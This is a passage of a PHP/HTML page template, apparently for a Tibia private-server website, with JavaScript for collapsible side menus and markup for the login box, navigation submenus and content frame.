var mark1 = self.name.indexOf("=");

var mark2 = self.name.indexOf("&");

var menuItemName = self.name.substr(0, mark1);

menu[0][menuItemName] = self.name.substring(mark1 + 1, mark2);

self.name = self.name.substr(mark2 + 1, self.name.length);

}

}

// hide or show the corresponding submenus

function InitializeMenu()

{

for(menuItemName in menu[0])

{

if(menu[0][menuItemName] == "0")

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "hidden";

document.getElementById(menuItemName+"_Submenu").style.display = "none";

document.getElementById(menuItemName+"_Lights").style.visibility = "visible";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

else

{

document.getElementById(menuItemName+"_Submenu").style.visibility = "visible";

document.getElementById(menuItemName+"_Submenu").style.display = "block";

document.getElementById(menuItemName+"_Lights").style.visibility = "hidden";

document.getElementById(menuItemName+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

}

}

// reconstruct the variable "self.name" out of the array menu

function SaveMenuArray()

{

var stringSlices = "";

var temp = "";

for(menuItemName in menu[0])

{

stringSlices = menuItemName + "=" + menu[0][menuItemName] + "&";

temp = temp + stringSlices;

}

self.name = temp;

}

// onClick open or close submenus

function MenuItemAction(sourceId)

{

if(menu[0][sourceId] == 1)

{

CloseMenuItem(sourceId);

}

else

{

OpenMenuItem(sourceId);

}

}

function OpenMenuItem(sourceId)

{

menu[0][sourceId] = 1;

document.getElementById(sourceId+"_Submenu").style.visibility = "visible";

document.getElementById(sourceId+"_Submenu").style.display = "block";

document.getElementById(sourceId+"_Lights").style.visibility = "hidden";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/minus.gif')";

}

function CloseMenuItem(sourceId)

{

menu[0][sourceId] = 0;

document.getElementById(sourceId+"_Submenu").style.visibility = "hidden";

document.getElementById(sourceId+"_Submenu").style.display = "none";

document.getElementById(sourceId+"_Lights").style.visibility = "visible";

document.getElementById(sourceId+"_Extend").style.backgroundImage = "url('<?PHP echo $layout_name; ?>/images/general/plus.gif')";

}

// mouse-over effects of menubuttons and submenuitems

function MouseOverMenuItem(source)

{

source.firstChild.style.visibility = "visible";

}

function MouseOutMenuItem(source)

{

source.firstChild.style.visibility = "hidden";

}

function MouseOverSubmenuItem(source)

{

source.style.backgroundColor = "#14433F";

}

function MouseOutSubmenuItem(source)

{

source.style.backgroundColor = "#0D2E2B";

}

</script>

</head>

<body onBeforeUnLoad="SaveMenu();" onUnload="SaveMenu();">

<a name="top" ></a>

<div id="ArtworkHelper" style="background-image:url(http://i63.photobuck...d-artwork-1.jpg);" >

<div id="Bodycontainer">

<div id="ContentRow">

<div id="MenuColumn">

<div id="LeftArtwork">

<img id="Statue_1" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="TibiaLogoArtworkTop" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-top.gif" onClick="window.location = '?subtopic=latestnews';" alt="logoartwork" />

<img id="TibiaLogoArtworkBottom" src="http://i63.photobucket.com/albums/h122/Mister_Dude/tibia-logo-artwork-bottom.gif" alt="logoartwork" />

<img id="Statue_2" src="<?PHP echo $layout_name; ?>/images/header/animated-statue.gif" alt="logoartwork" />

<img id="LogoLink" src="<?PHP echo $layout_name; ?>/images/header/tibia-logo-artwork-string.gif" onClick="window.location = 'mailto:<?PHP echo $config['server']['ownerEmail']; ?>';" alt="logoartwork" />

</div>

<div id="Loginbox" >

<div id="LoginTop" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif)" ></div>

<div id="BorderLeft" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-you-are-not-logged-in.gif)" ></div>

</div>

<div id="LoginButtonContainer" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginButton" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton.gif)" >

<div onClick="LoginButtonAction();" onMouseOver="MouseOverBigButton(this);" onMouseOut="MouseOutBigButton(this);"><div class="Button" style="background-image:url(<?PHP echo $layout_name; ?>/images/buttons/sbutton_over.gif)" ></div>

<div id="ButtonText" ></div>

</div>

</div>

</div>

<div style="clear:both" ></div>

<div class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-textfield-background.gif)" >

<div id="LoginstatusText_2" onClick="LoginstatusTextAction(this);" onMouseOver="MouseOverLoginBoxText(this);" onMouseOut="MouseOutLoginBoxText(this);" >

<div id="LoginstatusText_2_1" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account.gif)" ></div>

<div id="LoginstatusText_2_2" class="LoginstatusText" style="background-image:url(<?PHP echo $layout_name; ?>/images/loginbox/loginbox-font-create-account-over.gif)" ></div>

</div>

</div>

<div id="BorderRight" class="LoginBorder" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif)" ></div>

<div id="LoginBottom" class="Loginstatus" style="background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif)" ></div>

</div>

<div id='Menu'>

<div id='MenuTop' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-top.gif);'></div>

<div id='news' class='menuitem'>

<span onClick="MenuItemAction('news')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='news_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='news_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-news.gif);'></div>

<div id='news_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-news.gif);'></div>

<div id='news_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='news_Submenu' class='Submenu'>

<a href='?subtopic=latestnews'>

<div id='submenu_latestnews' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_latestnews' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Latest News</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=archive'>

<div id='submenu_archive' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_archive' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>News Archive</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='library' class='menuitem'>

<span onClick="MenuItemAction('library')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='library_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='library_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-library.gif);'></div>

<div id='library_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-library.gif);'></div>

<div id='library_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='library_Submenu' class='Submenu'>

<a href='?subtopic=creatures'>

<div id='submenu_creatures' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_creatures' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Creatures</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=spells'>

<div id='submenu_spells' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_spells' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Spells</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['serverinfo_page'] == 1)

echo "

<a href='?subtopic=serverinfo'>

<div id='submenu_serverinfo' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_serverinfo' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Info</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

<a href='?subtopic=experiencetable'>

<div id='submenu_experiencetable' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_experiencetable' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Experience Table</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<div id='community' class='menuitem'>

<span onClick="MenuItemAction('community')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='community_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='community_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-community.gif);'></div>

<div id='community_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-community.gif);'></div>

<div id='community_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='community_Submenu' class='Submenu'>

<a href='?subtopic=characters'>

<div id='submenu_characters' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_characters' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Characters</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=whoisonline'>

<div id='submenu_whoisonline' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_whoisonline' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Who Is Online?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=highscores'>

<div id='submenu_highscores' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_highscores' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Highscores</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=killstatistics'>

<div id='submenu_killstatistics' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_killstatistics' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Last Kills</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=bans'>

<div id='submenu_bans' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_bans' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Banishments</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=houses'>

<div id='submenu_houses' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_houses' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Houses</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=guilds'>

<div id='submenu_guilds' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_guilds' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Guilds</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=wars'>

<div id='submenu_wars' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_wars' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Wars</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>

<?PHP

echo "

<div id='forum' class='menuitem'>

<span onClick=\"MenuItemAction('forum')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='forum_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='forum_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-forum.gif);'></div>

<div id='forum_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-forum.gif);'></div>

<div id='forum_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='forum_Submenu' class='Submenu'>

<a href='?subtopic=forum'>

<div id='submenu_forum' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_forum' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Forum</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>

</div>

</div>";

?>

<div id='account' class='menuitem'>

<span onClick="MenuItemAction('account')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='account_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='account_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-account.gif);'></div>

<div id='account_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-account.gif);'></div>

<div id='account_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='account_Submenu' class='Submenu'>

<a href='?subtopic=accountmanagement'>

<div id='submenu_accountmanagement' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_accountmanagement' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Account Management</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=createaccount'>

<div id='submenu_createaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_createaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Create Account</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=lostaccount'>

<div id='submenu_lostaccount' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_lostaccount' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Lost Account?</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?PHP

if($config['site']['download_page'] == 1)

echo "

<a href='?subtopic=downloads'>

<div id='submenu_downloads' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_downloads' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Downloads</div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<div id='support' class='menuitem'>

<span onClick="MenuItemAction('support')">

<div class='MenuButton' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/button-background-over.gif);'></div>

<span id='support_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/green-light.gif);'></div>

</span>

<div id='support_Icon' class='Icon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-support.gif);'></div>

<div id='support_Label' class='Label' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/label-support.gif);'></div>

<div id='support_Extend' class='Extend' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/plus.gif);'></div>

</div>

</div>

</span>

<div id='support_Submenu' class='Submenu'>

<a href='?subtopic=tibiarules'>

<div id='submenu_tibiarules' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tibiarules' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Server Rules</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=tracker'>

<div id='submenu_tracker' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_tracker' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Tracker</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=changelog'>

<div id='submenu_changelog' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_changelog' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Change Log</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<a href='?subtopic=team'>

<div id='submenu_team' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_team' class='ActiveSubmenuItemIcon' style='background-image:url(<?PHP echo $layout_name; ?>/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'>Support List</div>

<div class='RightChain' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/chain.gif);'></div>

</div>

</a>

<?php

if($group_id_of_acc_logged >= $config['site']['access_admin_panel'])

echo "<a href='?subtopic=adminpanel'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Admin Panel !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

if($group_id_of_acc_logged >= 4)

echo "<a href='?subtopic=namelock'>

<div id='submenu_adminpanel' class='Submenuitem' onMouseOver='MouseOverSubmenuItem(this)' onMouseOut='MouseOutSubmenuItem(this)'>

<div class='LeftChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

<div id='ActiveSubmenuItemIcon_adminpanel' class='ActiveSubmenuItemIcon' style='background-image:url(".$layout_name."/images/menu/icon-activesubmenu.gif);'></div>

<div class='SubmenuitemLabel'><font color=\"red\">! Name Lock !</font></div>

<div class='RightChain' style='background-image:url(".$layout_name."/images/general/chain.gif);'></div>

</div>

</a>";

?>

</div>

</div>

<?PHP

if($config['site']['shop_system'] == 1)

{

echo "<div id='shops' class='menuitem'>

<span onClick=\"MenuItemAction('shops')\">

<div class='MenuButton' style='background-image:url(".$layout_name."/images/menu/button-background.gif);'>

<div onMouseOver='MouseOverMenuItem(this);' onMouseOut='MouseOutMenuItem(this);'>

<div class='Button' style='background-image:url(".$layout_name."/images/menu/button-background-over.gif);'></div>

<span id='shops_Lights' class='Lights'>

<div class='light_lu' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ld' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

<div class='light_ru' style='background-image:url(".$layout_name."/images/menu/green-light.gif);'></div>

</span>

<div id='shops_Icon' class='Icon' style='background-image:url(".$layout_name."/images/menu/icon-shops.gif);'></div>

<div id='shops_Label' class='Label' style='background-image:url(".$layout_name."/images/menu/label-shops.gif);'></div>

<div id='shops_Extend' class='Extend' style='background-image:url(".$layout_name."/images/general/plus.gif);'></div>

</div>

</div>

</span>

</div>

</a>";

echo "</div></div>";

}

?>

<div id='MenuBottom' style='background-image:url(<?PHP echo $layout_name; ?>/images/general/box-bottom.gif);'></div>

</div>

</div>

<div id="ContentColumn">

<div class="Content">

<div id="ContentHelper">

<script type="text/javascript" src="http://static.tibia.com/javascripts/newsticker.js"></script>

<?PHP echo $news_content; ?>

<div id="<?PHP echo $subtopic; ?>" class="Box">

<div class="Corner-tl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tl.gif);"></div>

<div class="Corner-tr" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-tr.gif);"></div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="BorderTitleText" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/title-background-green.gif);"></div>

<img class="Title" src="headline.php?txt=<?PHP echo $subtopic; ?>" alt="Contentbox headline" />

<div class="Border_2">

<div class="Border_3">

<div class="BoxContent" style="background-image:url(http://i63.photobuck...Dude/scroll.gif);">

<?PHP echo $main_content; ?>

</div>

</div>

</div>

<div class="Border_1" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/border-1.gif);"></div>

<div class="CornerWrapper-b"><div class="Corner-bl" style="background-image:url(<?PHP echo $layout_name; ?>/images/content/corner-bl.gif);"></div></div>

